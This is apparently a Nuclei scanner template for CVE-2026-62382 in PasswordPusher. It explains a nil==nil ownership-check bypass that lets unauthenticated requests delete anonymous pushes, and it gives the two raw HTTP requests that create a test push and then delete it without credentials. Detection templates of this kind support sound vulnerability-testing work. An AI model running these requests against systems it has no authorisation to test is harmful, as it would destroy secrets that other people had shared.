PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass

id: CVE-2026-62382

info:
  name: PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass
  author: DhiyaneshDk
  severity: medium
  description: |
    PasswordPusher v1.45.11 through v2.9.5 allows unauthenticated deletion of anonymous pushes due to a nil==nil ownership-check bypass (CWE-863). The deletion guard evaluates (@push.user == current_user) || @push.deletable_by_viewer. For anonymous pushes, @push.user is nil; for unauthenticated requests, current_user is nil. Ruby evaluates nil==nil as true, so the ownership check passes and the deletable_by_viewer=false restriction is completely bypassed. Anyone who knows the secret URL token can permanently expire an anonymous push without any credentials.
  impact: |
    An unauthenticated attacker who knows a push's secret URL token can permanently delete (expire) any anonymous push, even when the push creator explicitly set deletable_by_viewer to false.
  remediation: |
    Upgrade PasswordPusher to v2.9.6 or later.
  reference:
    - https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-jf2m-hpj9-4qx2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-62382
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
    cvss-score: 6.9
    cve-id: CVE-2026-62382
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 2
    vendor: pglombardo
    product: passwordpusher
    shodan-query: title:"Password Pusher"
    fofa-query: body="Password Pusher"
  tags: cve,cve2026,passwordpusher,authz-bypass,intrusive,file-upload

flow: |
  http("create-push");
  if (template["url_token"] != "") {
    http("delete-push");
  }

http:
  - id: create-push
    raw:
      - |
        POST /p.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"password":{"payload":"nuclei-{{randstr}}","deletable_by_viewer":false,"expire_after_views":10}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "url_token")'
          - 'status_code == 201'
        condition: and

    extractors:
      - type: json
        name: url_token
        json:
          - '.url_token'
        internal: true

  - id: delete-push
    raw:
      - |
        DELETE /p/{{url_token}}.json HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"expired\":true", "\"deleted\":true")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022063ccce5c9bc89ff11bc7c9f075d837d2dde391fb17c8a9637c16b8088fcb1be702204bd6db2d2fb2787c319b8790c8e9b38f01bc2460b4dbcad5429d3786dbb32105:922c64590222798bb761d5b6d8e72950